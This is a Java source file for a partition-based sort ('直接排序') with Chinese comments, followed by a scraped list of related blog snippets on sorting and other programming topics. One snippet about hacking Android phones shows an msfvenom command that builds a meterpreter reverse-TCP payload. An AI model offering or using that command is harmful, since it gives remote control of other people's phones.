public class 直接排序 {
/**
* 直接排序法 仅排序1轮
* @param arr 数组
* @param ji 基准索引,填写几,就以谁为基准进行一次划分
*/
public static void qsort(int[] arr, int ji) {
int l=0;
int r=arr.length-1;
while(l<r){
while(l<r&&arr[r]>arr[ji]) r--;
if(l<r) {
int temp=arr[r];
arr[r]=arr[ji];
arr[ji]=temp;
ji=r;
}
while(l<r&&arr[l]<arr[ji]) l++;
if(l<r) {
int temp=arr[l];
arr[l]=arr[ji];
arr[ji]=temp;
ji=l;
}
printarr(arr);
}
} /**
* 直接排序法 多轮划分
* @param arr 数组
* @param lun 基准索引,填写0,则从0开始,以其为基准,进行划分
*/
public static void qsortAll(int[] arr, int lun) {
if((arr.length-1)==lun) return;
int ji=lun;
int l=0;
int r=arr.length-1;
while(l<r){
while(l<r&&arr[r]>arr[ji]) r--;
if(l<r) {
int temp=arr[r];
arr[r]=arr[ji];
arr[ji]=temp;
ji=r;
}
while(l<r&&arr[l]<arr[ji]) l++;
if(l<r) {
int temp=arr[l];
arr[l]=arr[ji];
arr[ji]=temp;
ji=l;
}
}
printarr(arr);
qsortAll(arr,++lun);
} /**
* 用来输出数组
* @param arr 要输出的数组
*/
public static void printarr(int[] arr){
for (int i:arr) {
System.out.print(i+"\t");
}
System.out.println();
} /**
* 主方法
* @param args
*/
public static void main(String[] args) {
int[] arr = new int[]{410,10,80,9,70,4};
// int[] arr = new int[]{46,79,56,38,40,84};
qsortAll(arr, 0);
for (int i:arr) {
System.out.print(i+"\t");
}
}
} // for(r=arr.length-1;r>0;r--){
// if(arr[r]<arr[ji]){
// int temp = arr[r];
// arr[r]=arr[ji];
// arr[ji]=temp;
// ji=r;
// printarr(arr);
// break;
// }
// }
// for(l=0;l<arr.length;l++){
// if(arr[l]>arr[ji]){
// int temp = arr[l];
// arr[l]=arr[ji];
// arr[ji]=temp;
// ji=l;
// printarr(arr);
// break;
// }
// }

【数据结构】【直接排序法】Java代码的更多相关文章

  1. 专题 查找与排序的Java代码实现(一)

    专题 查找与排序的Java代码实现(一) 查找(Searching) 线性查找(linear search) 属于无序查找算法,适合于存储结构为顺序存储或链接存储的线性表. 基本思想:从数据结构线形表 ...

  2. 排序算法Java代码实现(三)—— 插入排序 和 希尔排序

    因为希尔排序的核心思想是插入排序,所以本篇将两篇排序一起记录 本篇内容: 插入排序 希尔排序 (一)插入排序 算法思想: 把n个待排序的元素看成一个有序表和一个无序表,开始时有序表中只有一个元素,无序 ...

  3. 排序算法Java代码实现(一)—— 选择排序

    以下几篇随笔都是记录的我实现八大排序的代码,主要是贴出代码吧,讲解什么的都没有,主要是为了方便我自己复习,哈哈,如果看不明白,也不要说我坑哦! 本片分为两部分代码: 常用方法封装 排序算法里需要频繁使 ...

  4. 选择排序法-java详解案例

    /**  * 功能:选择排序法 * 思想:第一次从R[0]-R[N-1]中选取最小值,与R[0]交换,第二次从R[1]-R[N-1]中选取最小值,与R[1]交换, * 第三次从R[2]-R[N-1]中 ...

  5. 排序算法Java代码实现(四)—— 归并排序

    本篇内容: 归并排序 归并排序 算法思想: 将两个或两个以上的有序表合并成一个新的有序表, 即把待排序序列分成若干个子序列,每个子序列是有序的,然后在把有序子序列合并为整体有序序列. 此算法分为两步: ...

  6. 排序算法Java代码实现(六)—— 堆排序

    本片内容: 堆排序 堆排序 最大堆: 二叉堆是完全二叉树或者是近似完全二叉树, 当父结点的键值总是大于或等于任何一个子节点的键值时为最大堆.(父节点大于任何一个子节点) 算法思想: 把n个元素建立最大 ...

  7. 排序算法Java代码实现(五)—— 快速排序

    本篇内容: 快速排序 快速排序 算法思想: 通过一趟排序将要排序的数据分割成独立的两部分, 其中一部分的所有数据都比另外一部分的所有数据都要小, 然后再按此方法对这两部分数据分别进行快速排序, 整个排 ...

  8. Java - 选择性排序 PHP || Java 代码对比

    int [] array1 = {1,3,5,7,9,10,2,15,154,10,2,188,200};//定义一个数组,内容为混乱大小 int index = 0;//定义一个最大值或最小值的位置 ...

  9. 八大排序算法java代码

    1.冒泡排序 public static void main(String[] args) { int[] arr = {1,4,2,9,5,7,6}; System.out.println(&quo ...

  10. 排序算法Java代码实现(二)—— 冒泡排序

    本篇内容: 冒泡排序 冒泡排序 算法思想: 冒泡排序的原理是:从左到右,相邻元素进行比较. 每次比较一轮,就会找到序列中最大的一个或最小的一个.这个数就会从序列的最右边冒出来. 代码实现: /** * ...

随机推荐

  1. push_back和 emplace_back背后的逻辑

    push_back 与 emplace_back 的区别 push_back: 功能:将一个对象(或其副本)添加到 vector 的末尾. 参数:接受一个对象(或其副本)的引用. 过程: 如果传入的是 ...

  2. eUSB是什么/可以干什么?

    eUSB总结 1.什么是eUSB 1.1 eUSB概念 eUSB是原USB物理层上的补充,为了解决USB_phy低压需求的问题而出现的,eUSB可以将信号电平降至1.2V甚至更低,与此同时可以优化电源 ...

  3. 大模型存储选型 & JuiceFS 在关键环节性能详解

    从去年开始,LLM大语言模型领域发展迅速.如 LLaMA.ChatGLM.Baichuan.Qwen 和 yi-model 等基础模型(Foundation Models)的数量显著增加.众多企业也开 ...

  4. MSF 入侵安卓手机

    生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...

  5. nicegui太香了,跨平台开发和跨平台运行--使用Python+nicegui实现系统布局界面的开发

    在现今国产化浪潮的驱动下,跨平台或者缩小范围说基于国产化Linux或者基于国产鸿蒙系统的开发才是未来的趋势了,风口浪尖上,我们开发人员也只能顺势而为,本篇随笔介绍在Python开发中,使用使用Pyth ...

  6. [快速阅读八] Matlab中bwlookup的实现及其在计算二值图像的欧拉数、面积及其他morph变形中的应用。

    以前看过matlab的bwlookup函数,但是总感觉有点神秘,一直没有去仔细分析,最近在分析计算二值图像的欧拉数时,发现自己写的代码和matlab的总是对不少,于是又去翻了下matlab的源代码,看 ...

  7. 关于C语言指针类型的总结

    前言 我个人将目前在C语言中所遇到的指针归类为8种,至于为何写第九点,是因为我个人认为第九点极容易与第五点混淆,故总结如下: 1.普通指针 普通指针即最常见的如:int * . char*等 甚至于也 ...

  8. DRF-Permission组件源码分析及改编源码

    1. 权限组件源码分析 PS:下列源码为了方便理解都进行了简化,只保留了权限相关的代码 由于视图函数中继承了APIView,因此permission_classes可在视图类中进行重写. 注意点: 执 ...

  9. 历史性突破:独立开发 .net core 在线客服系统累计处理聊天消息 48 万余条!

    业余时间用 .net core 写了一个在线客服系统.我把这款业余时间写的小系统丢在网上,陆续有人找我要私有化版本,我都给了,毕竟软件业的初衷就是免费和分享. 后来我索性就发了一个100%私有化版直接 ...

  10. 异源数据同步 → DataX 同步启动后如何手动终止?

    开心一刻 刚刚和老婆吵架,气到不行,想离婚女儿突然站出来劝解道:难道你们就不能打一顿孩子消消气,非要闹离婚吗?我和老婆同时看向女儿,各自挽起了衣袖女儿补充道:弟弟那么小,打他,他又不会记仇 需求背景 ...